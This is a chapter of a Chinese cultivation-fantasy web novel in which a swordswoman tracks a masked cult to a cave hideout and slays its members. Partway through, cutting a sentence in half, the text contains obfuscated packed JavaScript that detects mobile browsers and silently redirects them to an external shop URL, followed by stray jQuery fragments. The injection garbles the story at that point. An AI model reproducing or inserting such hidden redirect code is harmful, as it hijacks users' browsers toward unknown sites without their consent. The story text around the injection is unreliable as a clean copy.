许星熠慵懒的躺在琥珀背上,百无聊赖的看着身边飞速掠过的流云。

    直到飞到宗门外围的群山时,随意的往下扫视几眼,只见树木生的极为高大繁茂,枝干盘根错节,枝叶层层交叠,将天空和地面之间隔着一层绿色的幕布,遮的严严实实,完全看不到地面的情况。

    “等等,琥珀。”许星熠轻声开口,目光紧紧盯住下面的一个点。

    琥珀也心领神会,翅膀扇动的更轻,借着云层隐匿自己的身形。

    许星熠低下头,仔细的盯着在树冠绿叶之下移动的小灰点,那群人绝对不是宗门内弟子,他们行踪鬼鬼祟祟,看着他们的那个方向不是往宗门的山门方向去的,而是宗门后山!!!

    究竟是什么人,回往宗门后山去,那方天险地峻也是宗门结界最强之地,想要从那边潜入宗门实在不是一个好的选择。

    “琥珀,你先回宗门。”

    许星熠低声吩咐了一句,随即身形一闪从琥珀背上跳下来,轻飘飘静悄悄的躲在树干上,跟着他们这群人,想看看他们究竟是有何目的。

    那群人行动极为谨慎,身上穿着灰棕色衣袍,在这森林之中极难被发现,隐匿修为遮住容貌,实在让人难以发现。许星熠也是因为觉察到下方有一种让她讨厌的气息,才注意到的。

    “上面人告诉我们,圣德剑宗里新来两个人,修为不详身份不详,我们这次只是探测他们修为即可……”

    “究竟是什么人能让上面这般重视。”

    “这一百多年从来没有过这样的任务。”

    “……”

    突然队伍最前人打出手势,众人立刻禁声歇语,警惕的看着周围。

    “曲长老,是发生了何事?”

    为首的人警惕的看着四周,才缓缓开口,声音犹如在三岁孩童般稚嫩,“我感受到有人在附近。”

    许星熠离他们的距离很远,只是远远的观察着他们,本身关于他们谈话声就听的不太真切,直到听到那个为首之人竟然能发现她,霎时间隐匿自己全部的修为,一丝灵气都不敢泄露,躲在树后一点确保发现不了她的踪迹。

    最令人震惊的是竟然有人能发现她,自身修为必定是在天尊境巅峰,甚至是神劫境。如果仅是想要打探消息,会派出修为这么高的人吗?要知道整个修仙界神劫境的人屈指可数,或者是通过一些手段达到这样的境界,隐匿在修仙界之中。

    “阁下何必藏拙,既然来了为何不出来见上一面?”曲长老对着许星熠那边的方向开口,稚嫩的童音听起来格外的令人心中发毛。

    许星熠没有说话,更没打算现身。

    一行人见无人应答,为首的曲长老语气中带着一丝试探,“阁下既然不愿相见,那我等也就先行离去,告辞。”

    说完,这群人如鬼魅一样直接消失在原地,没有任何踪迹。

    许星熠听着彻底没有动静这才现身,来到这群人消失的地方。

    释放灵力探测着周围,什么都没有!周围没有灵气残留波动,没有阵法痕迹甚至连脚印都没有,这群人真的如鬼魂一样,来无影去无踪,如果不是许星熠刚刚切切实实的看到他们,听到他们的对话,就单纯来到这里是一点线索都见不到的。

    这种把戏确实是保命手段,但是在她面前所有一切都是班门弄斧。

    刚刚之所以没有动手,并不是打算放过他们,老鼠在外受到惊吓总是会跑回洞中,只抓住在外跑的小鼠怎么能找到老鼠洞,不把他们一网打尽万一又跑了几只怎么办呢?

    许星熠站在原地双手捏诀,指尖泛起微弱的灵力,虚空中渐渐显出一丝极细的纹路,顺着延伸到远处。

    早在许星熠觉察到他们身上不对劲的时候,就在他们其中一员身上悄悄下了一个引魂咒——这是早年间在一处秘境得来的,在人神魂上下的一个追踪术,既不能伤人也不能让人听令于自身,但是这个引魂咒最好的地方在于只能由施法者查探踪迹,外人哪怕修为再高也发现不了。

    顺着纹路,许星熠来到了距宗门百里之外的一处山洞,洞口有两人把守,其中一人正是许星熠施咒之人。

    “你说曲长老是不是太警惕了,总是疑神疑鬼,这一路上有一丝风吹草动就走了,什么时候才能回神殿啊。”

    “就是,怎么说曲长老也是天尊境强者,,这世上也是鲜有敌手,真的要是遇到那个剑宗之人未必不能碰一碰。”

    “对了,我听说剑宗掌门修为也就是天尊境吧,真不知道有什么可担心的。”

    “这个我听人说,是因为百年前的那个泠音尊者还在,实在不敢轻举妄动。”

    另一个人愣了一下,嗤笑出声,“不会吧,这一百年都没听过她的消息了,说不定早都陨落了,当年那代人不都已经死的差不多了。”

    “哎,这谁知道呢。”随即语气中变得狂热,眼神中带着近乎病态的迷恋,“还是神殿好,给了我们强大的力量,等到神明降世那一刻,我们都是神明的信徒,将会给我们更大的力量。”

    “......”

    许星熠将他们的对话一字不落地全部听入耳中。神殿?这是个什么组织,为什么这么多年在外游历从来没有听说过这个组织。

    但是从他们身上感受到了一股极为讨厌的气息,不似魔气但又很是相似,总而言之绝对不是什么好东西。

    许星熠抬起手,两只并拢往虚空中一指,刚刚还在谈话的两人没有任何预警直接倒落在地。

    轻步上前,搜查两人身上什么都没有。看着他们脸上的面具,许星熠思索了一瞬就伸手准备取下这个面具,看看面具之下究竟是何人。

    但不知为何,这个面具仿佛是和他们的脸部血肉完全融为一体,死死嵌入皮肉里,根本取不下来。

    “这群人究竟是什么人,竟然能如此谨慎,哪怕自身的修为都无法取下。”低声喃喃一句,没有办法只好作罢。

    许星熠扯下其中一个人的衣袍,披在自己身上,收敛自己的气息轻步往洞内走去。

    洞内很深漆黑一片根本看不到任何情况,只能靠自身视力感知周围情况。

    越往前走,空气中那种令人厌恶的气息愈发浓郁,令人作呕。

    隐隐约约之中,许星熠在黑暗之中看到深处散发着暗暗红光,也听到了有人谈话的声音。

    那是在一处石室之中,石室中央七八个穿着灰袍的人正在那里虔诚的看着中间的那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897392|212858||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个人,聆听着他的教诲。

    许星熠借着黑暗隐匿着自己的身形,静静的听着里面的谈话。

    “神使大人,我们还未探查出剑宗里刚来之人的身份,但似乎惊动了对方这才中断行动,求神使大人宽恕。”

    “求神使大人宽恕!”众人齐齐磕头,声音中满是虔诚的祈求。

    被他们称为神使的,正是坐在中间的那个人,声音虚幻带着一种悲悯蛊惑之意,“起来吧,你们都是神最忠实的信徒,神又怎么会惩罚你们?神自会庇佑你们。”

    话音刚落,那个人又原地消失了。众人还是保持着跪拜的样子并没有发现他们所跪拜的人已经消失不见了。

    石室内陷入死一般的寂静。

    片刻间,一道声音从那个人消失之处传出,回荡在整个空间内,“有人闯入,打断神使的传授,祂很生气,你们自己处理。”

    说完又回归寂静,只是先前跪在那里的一群人此时满是杀意,站起身来,盯着甬道入口的方向。

    甬道中的火光瞬间点亮,让许星熠隐匿的身形暴露在众人之中。

    许星熠站在那里,看着他们朝自己扑来,眼神中没有一丝波澜。有能力来杀她的人至少在这百年间还从未见到过。

    看着他们的样子,没有必要再手下留情,右手往虚空中一握,惊鸿剑流转着光华出现在她的掌心。

    “老朋友,这么多年我们之间的默契不知道怎么样了。”

    话音未落,没有任何多余的动作,朝着他们的方向挥出一剑,他们还未有任何动作就潸然倒下。

    后面的人见状连忙掐诀防御,用上各种自己的法宝,屏障没有任何作用,没有抵挡住惊鸿一剑。众人眼见不敌,只好向洞内撤退。

    许星熠见状,借着上层石壁,脚尖轻点就来到他们身后。

    “跑什么啊,你们不是要杀我吗?倒是抓紧点啊!”许星熠嘴角弯起一点点弧度,看着他们。

    为首的曲长老眼神中满是骇然绝望,“你究竟是什么人?!”

    实在没想到自己天尊境实力竟然没有一丝抵抗作用,神劫境吗?不,没有跨境界的威压。

    “你们想探查的不就是我吗?我现在就在这里。”

    反手又挽出一个剑花,其余几人胸口绽开了几朵艳丽的血花。

    转眼间站在这里的就只剩下许星熠和那个曲长老,看着面前的场景,曲长老稚嫩的嗓音发出刺耳争鸣,满是慌乱害怕,跪在地上祈求,“求求你......求求你放过我吧。”

    一边哀嚎,一边伸出手准备抓许星熠脚边的衣袍,许星熠厌恶的后退一步,借着微弱的光线发现,那根本不是一个正常人的手,他的手如枯骨一般,手背上没有血肉,清楚的看到干枯表皮下的指骨。

    而他因为害怕,身体颤抖,脸上的面具不似其他人一样与血肉相连,竟然直接掉落在地。

    出现在面前的赫然是一副孩童模样。面上是一张稚气未脱的脸,但整个身体如将死垂暮之态,哪怕是许星熠都没见过这是什么情况。

    “你要是告诉我你知道的一切,我或许可留你一命。”语气冰冷,没有一丝温度。

    “是......是!”